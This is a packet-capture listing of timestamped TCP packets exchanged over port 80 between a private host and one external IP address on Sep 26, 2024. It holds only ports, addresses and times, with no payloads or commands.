Sep 26, 2024 12:12:30.015516043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015527010 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015537024 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015552044 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015563965 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015567064 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.015575886 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015587091 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.015587091 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015600920 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015609980 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.015611887 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015636921 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.015656948 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.015783072 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015793085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015804052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015815020 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.015839100 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.015861034 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.018307924 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018327951 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018337965 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018388987 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018393993 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.018400908 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018443108 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.018518925 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018529892 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018541098 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018552065 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018563032 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018568039 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.018588066 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.018610954 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.018646002 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018708944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018718958 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018754959 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.018837929 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018848896 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018860102 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018870115 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018881083 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.018886089 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.018910885 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.018933058 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019027948 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019038916 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019051075 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019061089 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019072056 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019073963 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019084930 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019110918 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019131899 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019220114 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019231081 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019242048 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019253016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019263983 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019264936 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019306898 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019412994 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019423962 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019434929 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019444942 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019457102 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019459963 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019483089 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019505024 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019584894 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019596100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019607067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019617081 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019629002 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019632101 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019640923 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019653082 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019671917 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019694090 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019723892 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019768953 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019802094 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019814014 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019823074 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019833088 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019844055 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019850016 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019857883 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.019882917 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019905090 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.019936085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020031929 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020044088 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020054102 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020065069 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020076990 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020080090 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020117998 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020174026 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020184040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020195007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020220041 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020267963 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020278931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020289898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020302057 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020311117 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020315886 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020354033 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020489931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020553112 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020565033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020600080 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020615101 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020625114 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020636082 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020647049 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020662069 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020684958 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020839930 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020850897 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020862103 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020872116 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020884037 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020885944 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020895004 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020906925 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020908117 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020919085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020929098 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020931005 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020953894 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.020971060 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.020972013 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.021086931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.021097898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.021109104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.021120071 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.021130085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.021131039 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.021143913 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.021155119 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.021163940 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.021166086 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.021194935 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.067081928 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.107285976 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107508898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107526064 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107537985 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107549906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107561111 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107566118 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.107574940 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107585907 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107604027 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107615948 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107625961 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107637882 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107733011 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.107733011 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.107733011 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.107805967 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107816935 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107827902 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107840061 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107851028 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107860088 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107865095 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.107892036 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.107913971 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.107945919 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107955933 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107968092 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107979059 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.107995033 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.108025074 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.108027935 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.108037949 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.108050108 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.108061075 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.108069897 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.108072996 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.108087063 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.108122110 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111109018 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111177921 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111188889 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111221075 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111288071 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111299992 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111321926 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111335039 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111335039 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111370087 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111418962 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111430883 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111442089 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111452103 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111469030 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111496925 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111567020 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111577988 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111588001 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111597061 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111608028 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111613989 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111620903 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111632109 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111639023 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111675978 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111706972 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111829996 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111840963 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111851931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111861944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111871958 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111876965 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111885071 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111896992 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111907005 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.111916065 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.111938000 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112102032 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112113953 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112124920 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112133980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112150908 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112183094 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112268925 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112281084 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112292051 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112302065 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112313986 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112318039 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112332106 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112344027 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112351894 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112354040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112366915 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112377882 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112381935 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112390041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112410069 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112415075 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112421989 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112436056 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112468958 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112662077 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112864971 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112875938 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112885952 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112896919 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112907887 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112915039 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112919092 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112931013 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112941980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112951994 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112953901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112972975 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112977028 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.112982988 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.112993956 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113003969 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113006115 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113018036 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113029957 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113034964 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113070965 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113246918 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113259077 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113270044 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113296032 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113312960 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113325119 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113336086 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113347054 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113359928 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113394976 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113516092 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113529921 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113542080 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113554001 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113564014 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113565922 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113576889 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113590002 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113590956 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113612890 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113631964 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113650084 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113662004 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113684893 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113693953 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113701105 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113734961 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113856077 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113866091 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113876104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113887072 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113895893 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113903046 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113907099 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113924980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113935947 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113940954 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113946915 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113957882 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113969088 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113971949 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.113981009 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.113990068 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.114012957 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.199784040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.199804068 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.199812889 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.199848890 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.199861050 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.199884892 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.199935913 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.199945927 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.199958086 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.199990034 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200020075 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200031042 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200042963 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200067043 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200098991 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.200165033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.200176001 CEST	80	49755	172.86.66.70	192.168.2.4
